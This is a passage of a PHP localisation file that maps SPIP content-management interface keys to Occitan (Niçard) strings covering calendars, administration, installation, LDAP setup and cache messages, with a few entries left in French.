'ical_info1' => 'Aquela pàgina mòstra de metòdes diferents per restar en contacte emb la vida d’aqueu sit.',
'ical_info2' => 'Per aver mai d’informacions sobre aqueli tecnicas, esitètz pas de consultar <a href="@spipnet@">la documentacion de SPIP</a>.',
'ical_info_calendrier' => 'Li a doi calendiers à la voastra disposicion. Lo promier es un plan dau sit qu’anonça toi lu articles publicats. Lo segond conten lu anoncis editoriaus en mai dei voastres darrièrs messatges privats : vos es reservat graças à una clau personala, que la podètz modificar en tot moment en renovelant lo voastre mòt de santa Clara.',
'ical_methode_http' => 'Telecargament',
'ical_methode_webcal' => 'Sincronisacion (webcal://)',
'ical_texte_js' => 'Lu articles publicats en aqueu sit si poadon afichar simplament, sus toi lu voastres sits, en faguent servir una linha javascript. ',
'ical_texte_prive' => 'Aqueu calendier, d’usatge estrictament personau, vos informa de l’activitat editoriala privada d’aqueu sit (òbras e rendètz-vos personaus, articles e brèvas prepauats...).',
'ical_texte_public' => 'Aqueu calendier vos permete de sègre l’activitat publica d’aqueu sit (articles e brèvas publicats).',
'ical_texte_rss' => 'Podètz sindicar li noveutats d’aqueu sit dins tot legidor de fichiers en format XML/RSS (Rich Site Summary). Es tanben lo format que permete à SPIP de legir li noveutats publicadi dins d’autres sits en utilisant un format d’escambi compatible (sits sindicats). ',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing_list',
'ical_titre_rss' => 'Fichiers de sindicacion',
'icone_activer_cookie' => 'Activar lo cookie de correspondença',
'icone_admin_plugin' => 'Gestion dei plugins',
'icone_afficher_auteurs' => 'Faire aparèisser lu autors',
'icone_afficher_visiteurs' => 'Faire aparèisser lu visitaires',
'icone_arret_discussion' => 'Participar plus à-n-aquela discussion',
'icone_calendrier' => 'Calendier',
'icone_creer_auteur' => 'Crear un novèl autor e l’associar à-n-aquel article',
'icone_creer_mot_cle' => 'Crear un novèu mòt clau e lo ligar à-n-aquel article',
'icone_creer_rubrique_2' => 'Crear una novèla rubrica',
'icone_envoyer_message' => 'Mandar aqueu messatge',
'icone_modifier_article' => 'Modificar aquel article',
'icone_modifier_message' => 'Modificar aqueu messatge',
'icone_modifier_rubrique' => 'Modificar aquela rubrica',
'icone_retour' => 'Tornar',
'icone_retour_article' => 'Tornar à l’article',
'icone_supprimer_cookie' => 'Suprimir lo cookie de correspondença',
'icone_supprimer_rubrique' => 'Suprimir aquela rubrica',
'icone_supprimer_signature' => 'Suprimir aquela signatura',
'icone_valider_signature' => 'Validar aquela signatura',
'image_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_1_article' => '1 article',
'info_1_site' => '1 sit',
'info_activer_cookie' => 'Podètz activar un <b>cookie de correspondença</b>; aquò vos permetrà de passar facilament dau sit public au sit privat.',
'info_admin_gere_rubriques' => 'Aquel administrator gerisse li rubricas seguentas:',
'info_admin_gere_toutes_rubriques' => 'Aquel administrator gera<b>toti li rubricas</b>.',
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'dau sit (<i>d’utilisar emb precaucion</i>)',
'info_administrateur_site_01' => 'Se siètz administrator dau sit, vorgatz',
'info_administrateur_site_02' => 'clicar sus aquel estac',
'info_administrateurs' => 'Administrators',
'info_administrer_rubrique' => 'Podètz administrar aquela rubrica',
'info_adresse' => 'a l’adreça:',
'info_adresse_url' => 'Adreça (URL) dau sit public',
'info_afficher_visites' => 'Afichar li visitas per :',
'info_aide_en_ligne' => 'Ajuda en linha SPIP',
'info_ajout_image' => 'Quora ajustatz d’imatges coma estacaments jonchs à un article, SPIP pòu crear automaticament per vautres de vinhetas (miniaturas) deis images inserits. Aquò permete per exemple de crear automaticament una galaria ò un poartfòlio.',
'info_ajout_participant' => 'Lo participant seguent es ajustat:',
'info_ajouter_rubrique' => 'Ajustar una autra rubrica d’administrar:',
'info_annonce_nouveautes' => 'Anonça dei noveutats',
'info_anterieur' => 'anteriora',
'info_article' => 'article',
'info_article_2' => 'articles',
'info_article_a_paraitre' => 'Lu articles poastdatats per paréisser',
'info_articles_02' => 'articles',
'info_articles_2' => 'Articles',
'info_articles_auteur' => 'Lu articles d’aquel autor',
'info_articles_trouves' => 'Articles trobats',
'info_articles_trouves_dans_texte' => 'Articles trobats (dins lo tèxt)',
'info_attente_validation' => 'Lu voastres articles en aspèra de validacion',
'info_aujourdhui' => 'encuèi :',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Lu autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion externa',
'info_avertissement' => 'Avertiment',
'info_base_installee' => 'L’estructura de la voastra basa de donadas es installada.',
'info_chapeau' => 'Capèu',
'info_chapeau_2' => 'Capèu :',
'info_chemin_acces_1' => 'Opcions: <b>camin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Devètz aüra configurar lo camin d’accès ai informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions: <b>camin d’accès dins l’annuari',
'info_choix_base' => 'Tresena estapa:',
'info_classement_1' => '<sup>er</sup> sus @liste@',
'info_classement_2' => '<sup>nd</sup> sus @liste@',
'info_code_acces' => 'Oblidetz pas lu voastres còdes d’accès personalisats!',
'info_compresseur_gzip' => '<b>N. B. :</b> Il est recommandé de vérifier au préalable si l’hébergeur compresse déjà systématiquement les scripts php ; pour cela, vous pouvez par exemple utiliser le service suivant : @testgzip@', # MODIF
'info_config_suivi' => 'S’aquela adreça correspoande à una mailing-list, podètz indicar çai sota l’adreça que lu participants au sit si poadon inscriure. Aquela adreça pòu èstre una URL (per exemple la pàgina d’inscripcion à la tièra per lo web), ò una adreça e-mail tenent un subjecte especific (per exemple : <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Vos podètz abonar à la mailing-list d’aqueu sit. Receberètz per corrièr electonic li anonças dei articles e brèvas prepauats à la publication.',
'info_confirmer_passe' => 'Confirmar aqueu novèu mòt de santa Clara:',
'info_connexion_base' => 'Pròva de connexion à la basa',
'info_connexion_ldap_ok' => '<b>La connexion LDAP a capitat.</b><p> Podètz passar à la tapa seguenta.</p>',
'info_connexion_mysql' => 'La voastra conexion SQL',
'info_connexion_ok' => 'La connexion a capitat.',
'info_contact' => 'Contact',
'info_contenu_articles' => 'Contengut dei articles',
'info_creation_paragraphe' => 'Per crear de paragrafs, laissatz simplament de linhas vuèii.',
'info_creation_rubrique' => 'Denant de poder escriure d’articles,<br /> devètz crear aumens una rubrica.<br />',
'info_creation_tables' => 'Creacion dei taulas de la basa',
'info_creer_base' => '<b>Crear</b> una basa nòva de donadas:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de redaccion:',
'info_date_referencement' => 'DATA DE REFERENÇAMENT D’AQUEU SIT :',
'info_derniere_etape' => 'Es acabat !',
'info_derniers_articles_publies' => 'Lu voastres darriers articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Podètz activar ò desactivar la voastra messatgeria personala sus aqueu sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Denant de poder escriure d’articles, devètz aumanco crear una rubrica.',
'info_email_envoi' => 'Adreça e-mail de mandadís (opcionau)',
'info_email_envoi_txt' => 'Indicatz aquí l’adreça d’utilisar per mandar lu e-mails (a fauta d’aquò, s’utilisarà l’adreça destinatària coma adreça de mandadís):',
'info_email_webmestre' => 'Adreça e-mail dau oèbmestre',
'info_entrer_code_alphabet' => 'Ficatz lo còde de l’alfabet d’utilisar :',
'info_envoi_email_automatique' => 'Mandadís d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar aüra',
'info_etape_suivante' => 'Passar à la tapa seguenta',
'info_etape_suivante_1' => 'Podètz passar à la tapa seguenta.',
'info_etape_suivante_2' => 'Podètz passar à la tapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vers @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo seguit de l’activitat editoriala dau sit, SPIP vos pòu fornir per e-mail, per exemple à una mailing-list dei redactors, l’anonça dei demandas de publicacion e de validacion d’articles.',
'info_fichiers_authent' => 'Fichiers d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Lo voastre sit web poarge de fòros per lu abonats; dins lo sit public lu visitaires son convidats de si registrar.',
'info_gauche_admin_effacer' => '<b>A-n-aquela pàgina, son que lu responsables dau sit que poadon accedir.</b><p> Dona accès ai diferenti foncions de mantenença tecnica. D’unas d’entre eli implicon un procèssus d’autentificacion especific, que necessita d’aver un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A-n-aquela pàgina, son que lu responsables dau sit que li poadon accedir.</b><p> Dona accès ai diferenti foncions de mantenença tecnica. D’unas d’entre eli implicon un procèssus d’autentificacion especific, que
necessita d’aver un accès FTP au sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A-n-aquela pàgina, son que lu responsables dau sit que li poadon accedir.</b><p> Dona accès ai diferenti foncions de mantenença tecnica. D’unas d’entre eli implicon un procèssus d’autentificacion especific, que necessita d’aver un accès FTP au sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aquí toi lu autors dau sit.
Lo sieu estatut es indicat per la color dei icònas sieui (administrator : verd; redactor : jaune).',
'info_gauche_auteurs_exterieurs' => 'Lu autors exteriors, sensa accès au sit, son indicats per una icòna blu; lu autors escafats per una bordilhier.', # MODIF
'info_gauche_messagerie' => 'La messatgeria vos permete d’escambiar de messatges entre redactors, de conservar de nòtas de renembrança (per lo voastre usatge personau) ò d’afichar d’anoncis sus la pàgina d’acuèlh de l’espaci privat (se siètz administrator).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Aquela pàgina presenta la tiera dei <i>referits</i>, es è dire dei sits que contenon d’estacs que menon drech au voastre sit, ma unicament per ièr e encuèi : de fach aquela tiera es actualisada cada 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí lu visitaires registrats dins l’espaci public dau sit (fòros sus abonament).',
'info_generation_miniatures_images' => 'Generacion de miniaturas dei imatges',
'info_gerer_trad' => 'Gerar lu estacs de revirada?',
'info_hebergeur_desactiver_envoi_email' => 'I son d’aubergadors que desactivan lo mandadís automatic d’e-mails despi lu sieus servidors. En aqueu cas, li foncionalitats seguenti de SPIP foncionaràn pas.',
'info_hier' => 'ièr :',
'info_historique_activer' => 'Activar lo seguiment dei revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment dei revisions',
'info_historique_texte' => 'Lo seguiment dei revisions permet de conservar un istoric de toti li modificacions que s’es portat au contengut d’un article, e d’afichar li diferenças entre li versions successivas.',
'info_identification_publique' => 'La voastra identitat publica...',
'info_image_process' => 'Vorgatz seleccionar lo melhor metòde de fabricacion dei vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se minga d’imatge apareisse, alora lo servidor qu’auberga lo voastre site es pas estat configurat per utilisar de tau autis. Se desiratz utilisar aqueli foncions, contactatz lo responsable tecnic e demandatz li extensions «GD» ò «Imagick».</i>', # MODIF
'info_images_auto' => 'Imagtes calculats automaticament',
'info_informations_personnelles' => 'Informacions personali',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèus',
'info_jeu_caractere' => 'Juèc de caractèrs dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar lu camps vuèis)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installada.',
'info_lien_hypertexte' => 'Ligam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tiera dei redactors connectats',
'info_login_existant' => 'Aqueu login ja existisse.',
'info_login_trop_court' => 'Login tròup cort.',
'info_logos' => 'Lu lògos',
'info_maximum' => 'maximum :',
'info_meme_rubrique' => 'Dins la mema rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Lu voastres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatgeria interna',
'info_mise_a_niveau_base' => 'Mesa à nivèu de la voastra basa SQL',
'info_mise_a_niveau_base_2' => '{{Mèfi!}} Avètz installat una version de fichiers SPIP {anteriora} à-n-aquela que si trobava avant sus aqueu sit : la voastra basa de donadas risca d’èstre perduda e lo voastre sit foncionarà pas plus.<br />{{Tornatz installar lu fichiers de SPIP.}}',
'info_modifier_auteur' => 'Modificar l’autor :',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Lo mieu sit SPIP',
'info_mot_sans_groupe' => '(Mòts sensa grop...)',
'info_moteur_recherche' => 'Motor de recerca integrat',
'info_moyenne' => 'mejana :',
'info_multi_articles' => 'Activar lo menut de lenga per lu articles ?',
'info_multi_cet_article' => 'Lenga d’aquest article:',
'info_multi_langues_choisies' => 'Vorgatz seleccionar çai sota li lengas que son à posita dei redactors dau voastre sit.
Li lengas ja emplegadi dins lo voastre sit (afichadas en promier) non si poadon desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per li rubricas?',
'info_multi_secteurs' => '... solament per li rubricas à la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom dau voastre site',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS À LA DISCUSSION :',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De pas desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòu mandar regularament, l’anonça dei darrieri noveutats dau sit (articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Non mandar la tiera dei noveutats',
'info_non_modifiable' => 'pòu pas èstre modificat',
'info_non_suppression_mot_cle' => 'voali pas suprimir aqueu mòt clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges novèus',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'Novèla revirada :',
'info_numero_article' => 'ARTICLE NÚMERO',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion dei visitaires dau sit public',
'info_option_faire_suivre' => 'Faire sègre lu messatges dei fòros ai autors dei articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de visitaires',
'info_options_avancees' => 'OPCIONS AVANÇADAS',
'info_ortho_activer' => 'Activar lo verificador d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificador d’ortografia',
'info_ou' => 'ò... ',
'info_page_interdite' => 'Pàgina proïbida',
'info_par_nom' => 'per nom',
'info_par_nombre_article' => 'per nombre d’articles',
'info_par_statut' => 'per estatut',
'info_par_tri' => '’(per @tri@)’',
'info_passe_trop_court' => 'Mòt de santa Clara tròup cort.',
'info_passes_identiques' => 'Li doi mòts de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Li voastri anciani nòtas de renembrança', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; visitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; visitas: @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-Scriptum :',
'info_pour' => 'per',
'info_preview_admin' => 'Solament lu administrators poadon previsualisar lo sit',
'info_preview_comite' => 'Toi lu redactors poadon previsualisar lo sit',
'info_preview_desactive' => '>La previsualisacion es totalament desactivada',
'info_preview_texte' => 'Es possible de previsualisar lo site coma se toi lu articles e brèvas (que tenon au mànco l’estatut « prepauat ») èron publicats. Aquela possibilitat deu èstre duberta ai administrators solament, à toi lu redactors, ò à degun ?',
'info_principaux_correspondants' => 'Lu voastres correspondents principaus',
'info_procedez_par_etape' => 'procedètz estapa per estapa',
'info_procedure_maj_version' => 'la procedura de mesa à jorn deu èstre lançada per adaptar la basa de donadas à la novèla version de SPIP.',
'info_proxy_ok' => 'Pròva dau proxy capitat.',
'info_ps' => 'P.-S.',
'info_publier' => 'publicar',
'info_publies' => 'Lu voastres articles publicats en linha',
'info_question_accepter_visiteurs' => 'Se lu esquelets dau voastre site prevehon lo registrament de visitors sensa accès à l’espaci privat, vorgatz activar l’opcion seguenta :',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz li inscripcions de novèus redactors à
partir dau sit public ? Se l’acceptatz, lu visitaires si podràn inscriure
despí un formulari automatisat e accediràn alora à l’espaci privat per
prepauar lu sieus articles pròpis.<blockquote><i>Durant la fasa d’inscripcion,
lu utilisaires recebon un corrier electronic automatic
que li fornisse lu sieus còdes d’accès au sit privat. D’unu
aubergadors desactivon lo mandadís d’e-mails despí lu sieus
servidors: en aqueu cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilisar lo motor de recerca integrat à SPIP? (s’es desactivat, accelèra lo foncionament dau sistema.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Vorgatz tornar cargar aquela pàgina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròup de resultats per "@cherche_auteur@"; vorgatz afinar la recerca.',
'info_recherche_auteur_ok' => 'Mantun redactors trobats per "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Minga de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Vorgatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’a accès à l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Lu voastres articles refudats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article torna mandar à la pàgina:',
'info_reserve_admin' => 'Solets lu administrators poadon modificar aquela adreça.',
'info_restreindre_rubrique' => 'Restrénher la gestion à la rubrica:',
'info_resultat_recherche' => 'Resultats de la recerca :',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => ' rubricas',
'info_rubriques_trouvees' => 'Rubricas trobadi',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobadi (dins lo tèxt)',
'info_sans_titre' => 'Sensa titre',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sota lo camin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit : ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referençat',
'info_site_web' => 'SIT WEB :', # MODIF
'info_sites' => ' sits',
'info_sites_lies_mot' => 'Lu sits referençats ligats à-n-aqueu mòt clau',
'info_sites_proxy' => 'Utilisar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Jostitre:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor :',
'info_statut_auteur_a_confirmer' => 'Inscripcion de confirmar',
'info_statut_auteur_autre' => 'Autre estatut:',
'info_statut_efface' => 'Escaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit dei utilisaires importats',
'info_statut_utilisateurs_2' => 'Chausissètz l’estatut qu’es atribuit ai personas presenti dins l’annuari LDAP quora si connecton lo premier còup. Pi podrètz modificar aquela valor per cada autor au cas per cas.',
'info_suivi_activite' => 'Seguit de l’activitat editoriala',
'info_surtitre' => 'Sobretitre:',
'info_syndication_integrale_1' => 'Lo voastre site propausa de fichiers de syndicacion (veire « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Desiratz transmetre l’integralitat dei articles, ò difusar ren qu’un resumit de quauqui centenas de caractèrs ?',
'info_table_prefix' => 'Podètz modifiar lo prefixe dau nom dei taulas de donadas (aquò es indispensable quora si vòu installar mantu sits dins la mema basa de donadas). Aquest prefixe s’ecriu en letras minuscules, non accentuadi, e sensa espaci.',
'info_taille_maximale_vignette' => 'Talha maximala dei vinhetas generadi per lo sistema:',
'info_terminer_installation' => 'Aüra podètz acabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es lòng: apareisse doncas en tròç distints que si tornaràn empegar un còup validats.)',
'info_texte_message' => 'Tèxt dau voastre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt dau messatge',
'info_titre' => 'Titre :',
'info_total' => 'totau : ',
'info_tous_articles_en_redaction' => 'Toi lu articles en cors de redaccion',
'info_tous_articles_presents' => 'Toi lu articles publicats dins aquela rubrica',
'info_tous_les' => 'toi lu:',
'info_tous_redacteurs' => 'Anonças à toi lu redactors',
'info_tout_site' => 'Tot lo sit',
'info_tout_site2' => 'An pas revirat l’article dins aquela lenga.',
'info_tout_site3' => 'Si revirèt l’article dins aquela lenga, ma si portèt puèi de modificacions à l’article de referença. Cau actualisar la revirada.',
'info_tout_site4' => 'An revirat l’article dins aquela lenga, e la revirada es actualisada.',
'info_tout_site5' => 'Article originau.',
'info_tout_site6' => '<b>Atencion:</b> solament lu articles originaus s’afichon.
Li reviradas s’assòcion à l’originau,
una color indica lo sieu estat :',
'info_travail_colaboratif' => 'Travalh collaboratiu sus lu articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL :',
'info_url_site' => 'URL DAU SIT:',
'info_urlref' => 'Ligam ipertèxt :',
'info_utilisation_spip' => 'Aüra podètz començar d’utilisar lo sistema de publicacion assistat...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Visitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Visitaires',
'info_visiteurs_02' => 'Visitaires dau sit public',
'install_echec_annonce' => 'L’installacion capitarà mau, ò abotirà à un sit non foncionau...',
'install_extension_mbstring' => 'SPIP fonciona pas emb:',
'install_extension_php_obligatoire' => 'SPIP esige l’estension PHP:',
'install_php_version' => 'PHP version @version@ insuffisanta (minimum = @minimum@)',
'install_select_langue' => 'Seleccionatz una lenga pi clicatz sus lo boton « seguent » per amodar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar li inscripcions',
'item_activer_messages_avertissement' => 'Activar lu messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Far paréisser dins lo calendier',
'item_autoriser_documents_joints' => 'Autorisar lu documents jonchs ai articles',
'item_autoriser_documents_joints_rubriques' => 'Autorisar lu documents dins li rubricas',
'item_autoriser_syndication_integrale' => 'Difusir l’integralitat dei articles dins lu fichiers de syndicacion',
'item_choix_administrateurs' => 'lu administrators',
'item_choix_generation_miniature' => 'Generar automaticament li miniaturas dei imatges.',
'item_choix_non_generation_miniature' => 'Pas generar de miniaturas dei imatges.',
'item_choix_redacteurs' => 'lu redactors',
'item_choix_visiteurs' => 'lu visitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear de fichiers .htpasswd',
'item_limiter_recherche' => 'Limitar la recerca ai informacions contengudi dins lo voastre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'ai articles',
'item_mots_cles_association_rubriques' => 'ai rubricas',
'item_mots_cles_association_sites' => 'ai sits referençats ò sindicats',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Acceptar pas li inscripcions',
'item_non_activer_messages_avertissement' => 'Minga de messatge d’avertiment',
'item_non_afficher_calendrier' => 'Pas far paréisser dins lo calendier',
'item_non_autoriser_documents_joints' => 'Autorisar pas lu documents dins lu articles',
'item_non_autoriser_documents_joints_rubriques' => 'Autorisar pas lu documents dins li rubricas',
'item_non_autoriser_syndication_integrale' => 'Difusir ren qu’un resumit',
'item_non_creer_fichiers_authent' => 'Crear pas aquelu fichiers',
'item_non_gerer_statistiques' => 'Pas gerar li estadisticas',
'item_non_limiter_recherche' => 'Alargar la recerca au contengut dei sits referençats',
'item_non_publier_articles' => 'Publicar pas lus articles avans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Utilisar pas lo motor',
'item_nouvel_auteur' => 'Novèl autor',
'item_nouvelle_rubrique' => 'Novèla rubrica',
'item_oui' => 'Aï',
'item_publier_articles' => 'Publicar lu articles, quauque sigue la data de publicacion',
'item_reponse_article' => 'Respoasta à l’article',
'item_utiliser_moteur_recherche' => 'Utilisar lo motor de recerca',
'item_visiteur' => 'visitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Ajustar aqueu destinatari',
'lien_ajouter_auteur' => 'Ajustar aquel autor',
'lien_ajouter_participant' => 'Ajustar un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Retirar l’autor',
'lien_retrait_particpant' => 'retirar aqueu participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'Desplegar tot',
'lien_tout_replier' => 'Repeglar',
'lien_tout_supprimer' => 'Suprimar tot',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEU SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DEI RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SUBREVÒL', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausida de la voastra basa',
'module_fichier_langue' => 'Fichier de lenga',
'module_raccourci' => 'Escorcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Podètz inserir li escorchas seguenti dins li esqueletas dau voastre sit public. Se reviraràn automaticament dins li diferenti lengas per las qualas existís un fichier de lenga.',
'module_texte_traduction' => 'Aquest fichier de lenga « @module@ » es disponible en :',
'mois_non_connu' => 'non conoissut',
// O
'onglet_repartition_actuelle' => 'actualament',
// P
'plugin_etat_developpement' => 'en desfolopament',
'plugin_etat_experimental' => 'esperimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'en test',
'plugins_liste' => 'Tiera dei plugins',
'protocole_ldap' => 'Version dau protocòl :',
// R
'repertoire_plugins' => 'Repertòri:',
// S
'statut_admin_restreint' => '(admin limitat)', # MODIF
// T
'taille_cache_image' => 'Lu imatges que SPIP a calculat automaticament (vinhetas dei documents, títols presentats en forma gràfica, foncions matematiqui en format TeX...) ocupon dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aquèu site prevei pas de limitacion de talha dau repertòri de l’amagador.',
'taille_cache_maxi' => 'SPIP prova de limitar la talha dau repertòri de l’amagador d’aqueu sit à circa <b>@octets@</b> de donadas.',
'taille_cache_octets' => 'Aüra la talha de l’amagador despassa @octets@.', # MODIF
'taille_cache_vide' => 'L’amagador es vuèi.',
'taille_repertoire_cache' => 'Talha dau repertòri amagador',
'text_article_propose_publication' => 'Article prepauat per la publicacion.',
'texte_acces_ldap_anonyme_1' => 'Certans servidors LDAP accèpton minga d’accès anonim. En aqueu cas, cau especificar un identificant d’accès iniciau per poder pi recercar d’informacions dins l’annuari. Lu camps seguents si podràn laissar vuèis dins la màger part dei cas.',
'texte_admin_effacer_01' => 'Aquela comanda escafa <i>tot</i> lo contengut de la basa de donadas,
inclús <i>toi</i> lu accès redactors e administrators. Un còup que l’auretz executada, auretz de tornar lançar l’installacion de SPIP per tornar crear una basa novèla coma pura un promièr accès administrator.',
'texte_adresse_annuaire_1' => '(Se lo voastre annuari es installat sus la mema maquina qu’aqueu site web, s’agisse probablament de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat ajustat à l’article :',
'texte_annuaire_ldap_1' => 'S’avètz accès à un annuari (LDAP), lo podètz utilisar per ',
'texte_article_statut' => 'Aquel article:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referençat dins lo voastre site SPIP, ma redirigit vèrs una autra URL. Per suprimir la redireccion, escafatz l’URL çai sobre.',
'texte_aucun_resultat_auteur' => 'Minga de resultat per \\\\\\"@cherche_auteur@\\\\\\"',
'texte_auteur_messagerie' => 'Aqueu sit vos pòu indicar en permanança la tièra dei redactors connectats, cen que vos permete d’escambiar de messatges en dirècte. Podètz decidir de pas aparéisser dins aquela tièra (siètz « invisible/a » dei autres utilisaires).',
'texte_auteur_messagerie_1' => 'Aqueu sit permete d’escambiar de messatges e de constituir de fòros de discussion privats entre lu participants dau sit. Podètz decidir de pas participar à-n-aquelu escambis.',
'texte_auteurs' => 'LU AUTORS',
'texte_choix_base_1' => 'Chausissètz la voastra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai d’una basa de donadas.',
'texte_choix_base_3' => '<b>Chausissètz</b> çai sota aquela que lo voastre aubergador vos a atribuida :',
